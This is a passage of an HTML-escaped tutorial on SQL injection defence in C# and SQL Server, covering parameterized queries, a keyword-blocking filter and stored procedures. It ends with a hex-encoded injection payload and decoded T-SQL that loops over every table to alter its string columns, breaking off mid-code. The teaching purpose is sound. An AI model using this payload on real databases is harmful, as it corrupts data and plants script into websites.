style="color:black"&gt;{&lt;br /&gt;&lt;br&gt;DataTable&amp;nbsp;dtProducts&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;DataTable&lt;/span&gt;&lt;span style="color:gray"&gt;();&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;return&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;dtProducts.DefaultView&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Parameterization&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Most client APIs (including .NET) support parameterization of queries. This allows embedding the user input as parameters. The parameters are placeholders for user entered value which is replaced at execution time. That way the user cannot inject SQL code as the whole user entry is treated as value for the parameter, not as string appended to the query. Again, parameterization is the best solution for SQL injection attacks.&lt;br /&gt;&lt;br /&gt;Here is how the same search code will look like with parameterized query (for simplicity here we use a query, but this could be a stored procedure):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;string&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;cmdStr&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;@&amp;quot;SELECT&amp;nbsp;Name,&amp;nbsp;ProductNumber,&amp;nbsp;Color&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM&amp;nbsp;Production.Product&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE&amp;nbsp;Name&amp;nbsp;LIKE&amp;nbsp;'%'&amp;nbsp;+&amp;nbsp;@SearchText&amp;nbsp;+&amp;nbsp;'%'&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;using&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;SqlConnection&amp;nbsp;conn&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SqlConnection&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;connStr&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;using&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;SqlDataAdapter&amp;nbsp;sda&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SqlDataAdapter&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;cmdStr&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;conn&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;{&lt;br /&gt;&lt;br&gt;DataTable&amp;nbsp;dtProducts&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;DataTable&lt;/span&gt;&lt;span style="color:gray"&gt;();&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;SqlParameter&amp;nbsp;parm&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sda.SelectCommand.Parameters.Add&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;@SearchText&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SqlDbType.VarChar&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;50&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;parm.Value&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SearchText.Text&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;sda.Fill&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;dtProducts&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;return&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;dtProducts.DefaultView&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Attempts to enter the same malicious search text will result in to output as there is no product with such name.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Server Side Filtering&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Filtering can be implemented on the server side, very similar to the client side black list. Here is a fragment of code that can be added to be beginning of stored procedures to verify the search string entered by the user:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;IF&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%0x%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%''%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%--%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%/*%*/%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%EXEC&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%xp[_]%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%sp[_]%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%SELECT&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%INSERT&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%UPDATE&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%DELETE&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%TRUNCATE&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%CREATE&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%ALTER&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;OR&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;UPPER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;N'%DROP&amp;nbsp;%'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;BEGIN&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;RAISERROR&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'Possible&amp;nbsp;SQL&amp;nbsp;Injection&amp;nbsp;attempt.'&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;16&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;RETURN&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;END&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Of course, ultimately the search can be implemented as stored procedure using a parameter, and without dynamic SQL:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;CREATE&amp;nbsp;PROCEDURE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;ProductSearch&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;VARCHAR&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;200&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&lt;br /&gt;&lt;br&gt;&amp;nbsp;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Name&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;ProductNumber&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Color&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Production.Product&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Name&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'%'&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;+&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@SearchText&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;+&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'%'&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Secondary Injection Attacks&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Recently there has been a new wave of SQL injection attacks. Those utilize a delayed action technique. The way to exploit the web site is the same – looking for any non-parameterized and non-filtered queries and injection a portion of code that will be executed by SQL Server. However, in this attack the code simply loops through all user tables and inserts some HTML or JavaScript code to all string columns. This has dual effect – you data is no longer what you think it is, and then if this data is used to be displayed on a Web page then the HTML or JavaScript code will become part of your Web page. &lt;br /&gt;&lt;br /&gt;Here are the steps to illustrate this. Normally attackers search for URLs that pass user input directly via an URL query string. That makes is very easy to inject SQL code as part of the URL. It could look like this (abbreviated):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;DECLARE&lt;/span&gt;&lt;span style="color:black"&gt;%&lt;/span&gt;&lt;span style="color:black"&gt;20&lt;/span&gt;&lt;span style="color:#434343"&gt;@S&lt;/span&gt;&lt;span style="color:black"&gt;%&lt;/span&gt;&lt;span style="color:black"&gt;20&lt;/span&gt;&lt;span style="color:black"&gt;NVARCHAR&lt;/span&gt;&lt;span style="color:black"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;4000&lt;/span&gt;&lt;span style="color:black"&gt;);&lt;/span&gt;&lt;span style="color:black"&gt;SET&lt;/span&gt;&lt;span style="color:black"&gt;%&lt;/span&gt;&lt;span style="color:black"&gt;20&lt;/span&gt;&lt;span style="color:#434343"&gt;@S&lt;/span&gt;&lt;span style="color:black"&gt;=&lt;/span&gt;&lt;span style="color:black"&gt;CAST&lt;/span&gt;&lt;span style="color:black"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;0x440045004300...7200&lt;/span&gt;&lt;span style="color:black"&gt;%&lt;/span&gt;&lt;span style="color:black"&gt;20&lt;/span&gt;&lt;span style="color:black"&gt;AS&lt;/span&gt;&lt;span style="color:black"&gt;%&lt;/span&gt;&lt;span style="color:black"&gt;20&lt;/span&gt;&lt;span style="color:black"&gt;NVARCHAR&lt;/span&gt;&lt;span style="color:black"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;4000&lt;/span&gt;&lt;span style="color:black"&gt;));&lt;/span&gt;&lt;span style="color:black"&gt;EXEC&lt;/span&gt;&lt;span style="color:black"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;@S&lt;/span&gt;&lt;span style="color:black"&gt;);&lt;/span&gt;&lt;span style="color:black"&gt;--&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;After the encoding is removed and the string is passed to SQL Server, it looks like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;DECLARE&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@S&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;NVARCHAR&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;4000&lt;/span&gt;&lt;span style="color:gray"&gt;);&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SET&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@S&lt;/span&gt;&lt;span style="color:blue"&gt;=&lt;/span&gt;&lt;span style="color:magenta"&gt;CAST&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;0x440045004300...7200&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;NVARCHAR&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;4000&lt;/span&gt;&lt;span style="color:gray"&gt;));&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXEC&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@S&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;/span&gt;&lt;span style="color:green"&gt;--&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Decoding the hex value reveals the actual SQL code that will be executed:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;DECLARE&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@T&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;varchar&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;255&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;/span&gt;&lt;span style="color:#434343"&gt;@C&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;varchar&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;255&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DECLARE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Table_Cursor&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;CURSOR&amp;nbsp;FOR&amp;nbsp;&lt;br /&gt;&lt;br&gt;select&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;a.name&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:black"&gt;b.name&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;from&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sysobjects&amp;nbsp;a&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:black"&gt;syscolumns&amp;nbsp;b&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;where&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;a.id&lt;/span&gt;&lt;span style="color:blue"&gt;=&lt;/span&gt;&lt;span style="color:black"&gt;b.id&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;and&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;a.xtype&lt;/span&gt;&lt;span style="color:blue"&gt;=&lt;/span&gt;&lt;span style="color:red"&gt;'u'&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;and&amp;nbsp;&lt;br /&gt;&lt;br&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;b.xtype&lt;/span&gt;&lt;span style="color:blue"&gt;=&lt;/span&gt;&lt;span style="color:black"&gt;99&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;or&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;b.xtype&lt;/span&gt;&lt;span style="color:blue"&gt;=&lt;/span&gt;&lt;span style="color:black"&gt;35&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;or&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;b.xtype&lt;/span&gt;&lt;span style="color:blue"&gt;=&lt;/span&gt;&lt;span style="color:black"&gt;231&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;or&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;b.xtype&lt;/span&gt;&lt;span style="color:blue"&gt;=&lt;/span&gt;&lt;span style="color:black"&gt;167&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;OPEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Table_Cursor&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FETCH&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;NEXT&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Table_Cursor&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;INTO&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@T&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:#434343"&gt;@C&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;WHILE&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:#434343"&gt;@@FETCH_STATUS&lt;/span&gt;&lt;span style="color:blue"&gt;=&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;BEGIN&amp;nbsp;&lt;br /&gt;&lt;br&gt;exec&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'update&amp;nbsp;['&lt;/span&gt;&lt;span style="color:gray"&gt;+&lt;/span&gt;&lt;span style="color:#434343"&gt;@T&lt;/span&gt;&lt;span style="color:gray"&gt;+&lt;/span&gt;&lt;span style="color:red"&gt;']&amp;nbsp;set&amp;nbsp;['&lt;/span&gt;&lt;span style="color:gray"&gt;+&lt;/span&gt;&lt;span 